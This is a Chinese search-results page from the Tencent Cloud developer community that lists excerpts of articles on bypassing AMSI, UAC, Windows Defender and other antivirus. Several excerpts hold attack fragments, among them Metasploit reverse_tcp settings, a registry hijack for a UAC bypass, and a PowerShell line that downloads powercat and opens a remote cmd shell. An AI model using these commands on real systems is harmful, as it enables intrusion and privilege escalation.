MeterPwrShell：绕过AMSI，绕过防火墙，绕过UAC和绕过任何AV - 腾讯云开发者社区 - 腾讯云

开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

MeterPwrShell：绕过AMSI，绕过防火墙，绕过UAC和绕过任何AV

MeterPwrShell 生成Powershell Oneliner的自动化工具，该工具可以在Metasploit，Bypass AMSI，Bypass防火墙，Bypass UAC和Byby...功能（v1.5.0）绕过UAC 自动迁移（使用PrependMigrate）内置GetSYSTEM（如果您使用Bypass UAC选项）禁用所有防火墙配置文件（如果您使用...“绕过UAC”选项）完全绕过Windows Defender实时保护（如果您选择缩短的有效负载或使用绕过UAC或同时使用两者）禁用Windows Defender安全功能（如果您使用...“绕过UAC”选项）完全无法杀死的有效载荷成功绕过AMSI（如果您选择缩短的有效负载）短单线（如果您选择缩短的有效载荷）绕过防火墙（如果选择未分段的有效负载）...很棒的CLI 与Metasploit框架中的web_delivery模块相比，MeterPwrShell的优势各种AMSI旁路技术和代码不需要为登台者设置服务器支持内置的Ngrok

1.5K3 0

UAC绕过初探

笔者最近在学习UAC绕过的技术，通过对其他师傅的文章进行总结，成功利用DLL劫持绕过了UAC，并且可以以High Mandatory Level来启动进程。...，提升操作系统的稳定性和安全性。...UAC机制这里使用的是C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe文件，进行dll劫持从而绕过UAC机制 1、首先查看文件清单是否有元素，可以默认提权执行...，将构造好的srrstr.dll放入到windowssapps目录下，通过构造的CMD.exe来绕过UAC ?...4、再次运行SystemPropertiesAdvanced.exe，查看DLL劫持效果，发现成功绕过UAC机制（备注：这里在运行时没有进行二次调用，无法正常运行原来的程序，可能会影响被劫持程序的稳定性

1.5K2 0

您找到你想要的搜索结果了吗？

是的

没有找到

AMSI调试及绕过

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer 我们下面便开始从调试开始然后编写绕过amsi...此时frida以及Hook住了amsi的相关函数，我们在powershell中输入字符串测试：我们虽然识别了对AmsiOpenSession、AmsiScanBuffer和AmsiCloseSession...然而，我们很容易绕过了这个问题，即使用通过拆分和连接字符串进行保护。...patch掉：此时便已经绕过了amsi打印出了我们的字符串。...下面我们使用Powershell的反射来进行Amsi的绕过，其主要信息存储在： System.Management.Automation.AmsiUtils 这个好说，我们可以使用循环遍历方法来绕过，

1.6K1 0

内存修补 AMSI 绕过

什么是 AMSI？反恶意软件扫描接口是一组 Windows API，允许任何应用程序与防病毒产品集成（假设该产品充当 AMSI 提供者）。...与许多第三方 AV 解决方案一样，Windows Defender 自然地充当 AMSI 提供商。 image.png 简而言之，AMSI 充当应用程序和 AV 引擎之间的桥梁。...以 PowerShell 为例——当用户尝试执行任何代码时，PowerShell 会在执行前将其提交给 AMSI。...任何应用程序开发人员都可以使用 AMSI 扫描用户提供的输入。...似乎没有任何应用程序实际检查返回码是否不是S_OK，并且只要扫描结果本身不等于或大于 32768 就会继续加载内容——这肯定是PowerShell 和 .NET 的案例。

1.1K5 0

技术分享|amsi绕过总结

微软对他产生的目的做出来描述： Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。...AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关；它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。...目前AMSI功能已集成到Windows 10的这些组件中 1.用户账户控制，也就是UAC（EXE、COM、MSI、ActiveX的安装） %windir%/System32/consent.exe 2...2.NULL字符绕过这个方法已经失效了，但还是提一下，扩充下思路。...简单来说利用的是注册表优先级来绕过。

2.8K2 1

绕过AMSI进行逃避审计

在之前的文章，hook rdp对外连接的账号密码中有提到利用Detours进行hook得到rdp的账号密码，今天正好看到绕过AMSI的文章，那我们今天继续利用这个库来达到绕过AMSI的目的。...1、AMSI是什么根据官方文档介绍，其叫反恶意文件扫描接口。然后AMSI的表现是什么呢，就是当你运行一个触发他的规则文件/命令时，就会出现如下的拦截信息： ?...因此我们的目的就是绕过AMSI，达到执行我们想要的文件/命令。 2、分析AMSI 通过分析AMSI，其检测机制大致为加载amsi.dll进行恶意文件扫描等操作： ?...根据网上的分析，我们只要能hook AMSI，让其检测到的值以为是安全的，那amsi.dll返回的值我们就是可控的，最后系统就会认为该文件是无害的。...在未注入前，恶意命令被AMSI拦截，注入后，成功hook绕过： ? ?

1K1 0

使用Golang绕过AV

在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell....这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender...将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.

1.8K2 0

New绕过AV shellcode

特点 ️ 能够绕过一些知名的防病毒软件（AV）。提供多种加密方法，包括 RC4、AES256、XOR 和 ROT。 ️...使用 C#、Rust、PowerShell、ASPX 和 VBA 生成源代码。采用不同的 shellcode 加载技术：VirtualAlloc、进程注入、NT 段注入、空心进程注入。

5431 0

利用Com组件绕过UAC

Com组件绕过UAC是一个很古老的话题了，这边以UACMe项目中索引为41的方法为例，看一下如何使用Com组件绕过UAC。...OleViewDotNet和IDA来进行查看。...首先直接用OleViewDotNet搜索你想要搜索的com组件的名字查看属性可以看到条件1皆为true，表示这个组件可以用来绕过UAC认证当鼠标悬停到时可以看到其调用的dll。...但是在执行时还是触发了UAC。这是因为：如果执行COM提升名称代码的程序身份是不可信的，还是会触发UAC弹窗；若是可信程序，则不会触发UAC弹窗。因此，必须使这段代码在WIndows可信程序中运行。...但本质还是校验的PEB，把CommandLine和imagepath修改为指定进程的即可。其代码中也有相关实现。

2.2K3 0

kali 绕过uac提权

meterpreter/reverse_tcp --配置payload 9. set lhost 192.168.2.128 --配置kali ip 10. set lport 4444 --配置监听端口和exe...还有2个模块可以用提权以下是模块和payload（参数配置如上） 36. use exploit/windows/local/ms13_053_schlamperei set payload windows

1.6K2 0

windows UAC 浅谈及绕过

更改系统保护或者高级系统设置五、UAC触发流程在触发 UAC 时，系统会创建一个consent.exe进程，该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。...这个UAC框会创建新的安全桌面，屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程，其他普通进程也无法和其进行通信交互。...列表如下： Akagi，包含所有的Methods，绕过UAC的主要方法的源码都在Method目录下 Akatsuki，WOW64 logger绕过UAC方法的dll源码 Fubuki，好几个绕过UAC利用的代理...DLL，使用了劫持Ole32.dll方法 Hibiki，AVRF方法绕过UAC的利用方法的dll源码 Ikazuchi，利用劫持 comctl32.dll 组件绕过UAC的利用方法的dll源码 Inazuma...，SHIM相关利用的绕过UAC的利用方法的EXE源码 Kamikaze，MMC劫持方法利用的MSC文件 Kongou，利用Hybrid方法绕过UAC的Dll Naka，压缩或编码的小工具源码 Yuubari

9.4K2 1

绕过基于签名的 AV

众所周知，许多 AV 供应商将有效负载标记为恶意软件，因为@harmj0y 出现在文件中的某个位置。...具体来说，如果省略文件扩展名，该函数会将.dll和附加.exe到文件名中。最后，绕过这个特定签名所需要做的就是删除.dllfrom wdigest.dll！...经过一番搜索，我找到了一个讨论绕过这个特定检测的博客。首先，我需要创建一个.def文件，用于构建一个新的库模块，该模块将包含在 Mimikatz 构建过程中。该文件的内容如下所示。...屏幕截图中可以看到一些所需的修改，包括mimidogz, securelsa,和loginpasswords. 其他AV呢？同样的技术可以用于任何你想在运行 Defender 的系统上执行的负载。...事实上，您只需多做一点工作即可针对任何 AV 进行此操作。PowerSploit 的Find-AVSignature.ps1可以帮助自动化该过程，但基本方法是二叉树式搜索。

2.3K4 0

如何使用MeterPwrShell自动生成PowerShell Payload

MeterPwrShell基于Metasploit框架和amsi.fail实现其功能，可以生成PowerShell One-Liner，并能够创建Meterpreter Shell，而且还可以绕过AMSI...、防火墙、UAC和任意反病毒产品。...功能介绍使用PrependMigrate实现自动化免杀；自动从普通用户提权为SYSTEM权限；禁用所有的防火墙配置；绕过Windows Defender实时保护功能； Payload免杀；绕过...AMSI；简单的代码，One-Liner；绕过防火墙；方便的命令行接口； …… 注意事项切勿将此程序生成的Payload上传到任何在线扫描服务；切勿将此程序用于恶意目的；请不要尝试Fork这个代码库...；可轻松绕过Windows Defender；工具要求 Kali Linux、Ubuntu或Debian； Metasploit框架；接入网络（目标主机和攻击者主机都需要）；工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地

2.3K2 0

绕过WAF防火墙？

总体来说，以上的防火墙威胁算法，还是基于“规则”描述检测HTTP协议数据，和建立在数据样本上的数据建模。基于正则，正则要全，基于语义分析，原语要够，基于大数据建模、数据样本要全，算法要优。...但是这些方法，未覆盖所有威胁攻击用例，一旦遗漏，会出现误报、漏报，被绕过。...需要足够多的正常请求URI样本和异常请求URI的样本数据。算法和样本的质量，影响威胁算法分析有效性。 WAF防火墙的威胁分析手段，无论是那种，越是大而全，就同比需要消耗更多机器性能开销。...随着新生Web漏洞出现，以上这些检测方法都需要适应新的漏洞的特征的变化，有时候甚至，WAF系统软件本身的软件漏洞，一样可用于绕过WAF。...所以，在《墨守之道-Web服务安全架构与实践》这本书中，我们向大家介绍了基于OpenResty的WAF，同时，也介绍了针对WAF防火墙的绕过技术。 ?

1.1K3 0

使用microsoft绕过360等AV

某小白竟然利用windows绕过了windows Defender、360等AV。哈哈哈，今天给大家来一个比较好玩的操作，当然也是在国外看到的思路，就是利用微软自己的域名来绕过AV。...我们都知道微软在internet上有着成千上万的域名，我们便可以使用微软的域名来执行我们的payload，并且可以来绕过大多数AV。...System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(m.value));iex 记得在编码后的内容前面加上START和END...然后将START和END之间的内容替换成编码后的内容，本地监听4444端口再重新执行我们上面的命令 ? 就是powercat日常卡死，多试几次就好了。...raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-c ip -p port -e cmd 执行的时候完美绕过

2.8K2 0

以最复杂的方式绕过 UAC

让我们从系统如何防止您绕过最无意义的安全功能开始。默认情况下，如果用户是本地管理员，LSASS 将过滤任何网络身份验证令牌以删除管理员权限。...这不是微不足道的 UAC 绕过吗？只需以域用户身份向本地服务进行身份验证，您就会获得绕过过滤的网络令牌？不，Kerberos具有特定的附加功能来阻止这种攻击媒介。...好的，我们怎么能滥用它来绕过 UAC？假设你被认证为域用户，最有趣的滥用它的方法是让机器 ID 检查失败。我们将如何做到这一点？...访问 SCM 以绕过 UAC。最终，这是一个合理数量的 UAC 绕过代码，至少与刚刚更改环境变量相比。...希望这能让您更深入地了解此功能的工作原理，并为您尝试以新的方式绕过 UAC 带来一些乐趣。

3.3K3 0

我是如何绕过UAC的小计

，如图而sdclt 是从注册表读取到了 control.exe（控制面板的路径）的路径，那么如果我们通过把注册表中的control.exe改成我们的cmd的话，打开的cmd执行的命令是可以绕过...uac的，首先正常执行添加用户是拒绝的，如图通过更改注册表，命令为 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths...msf的话本身我们有个meterpreter，正常情况下无法bypassuac的，如图添加用户也不可以但是我们通过更改注册表，把我们的payload替换control.exe的话，就可以绕过...uac了参考：http://www.freebuf.com/sectool/129579.html

1.5K5 0

3 种零防御 UAC 绕过技术

UAC在操作启动前对用户身份进行验证，以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。...利用这样的程序去启动其他程序，会以管理员权限去执行该程序，这样也就绕过了UAC限制。...UACME的使用关于UAC的绕过，目前存在很多方法，hfiref0x在github上整理了各种UAC绕过技术的实现，链接：https://github.com/hfiref0x/UACME，该项目默认采用...针对绕过UAC提权的防御措施在企业网络环境中，防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限，从而降低系统遭受攻击的可能性。...在家庭网络环境中，建议使用非管理员权限进行日常办公和娱乐等活动。

6511 0

干货 | 绕过AMSI实现免杀的研究和思路

微软对他产生的目的做出来描述： Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。...AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关；它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。...它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念，以便反恶意软件供应商可以关联不同的扫描请求。...官方架构图：目前AMSI功能已集成到Windows 10的这些组件中 •用户帐户控制或 UAC（EXE、COM、MSI 或 ActiveX 安装的提升）•PowerShell（脚本、交互使用和动态代码评估...查看powershell模块会发现加载了amsi.dll 几种绕过的方式 dll劫持再打开powershell进程时，会加载amsi进程，那么自然的就想到可以通过dll劫持，或者替换等方式来bypass

1.5K3 0

利用WPS-Office绕过UAC提权

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。...0x01 前言 wpscloudsvr服务用于提供WPSOffice云服务，其中包括：云文档，文件安全性，VIP服务等，以实现完整和安全的用户体验，及时更新和错误修复，停止此服务将禁用云服务和及时错误修复等...Office\ WPS Office进程名：wps.exe、wpscloudsvr.exe等 WPS Office服务名：wpscloudsvr（WPS Office Cloud Service） 0x02 绕过原理分析...WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的，而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务...不是所有服务都可以用未过UAC的用户来启动和停止的，如：KugouService、Everything等； 2. wpscloudsvr.exe Users权限问题，Win10和2016默认给的权限不一样

2.6K2 0

点击加载更多

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭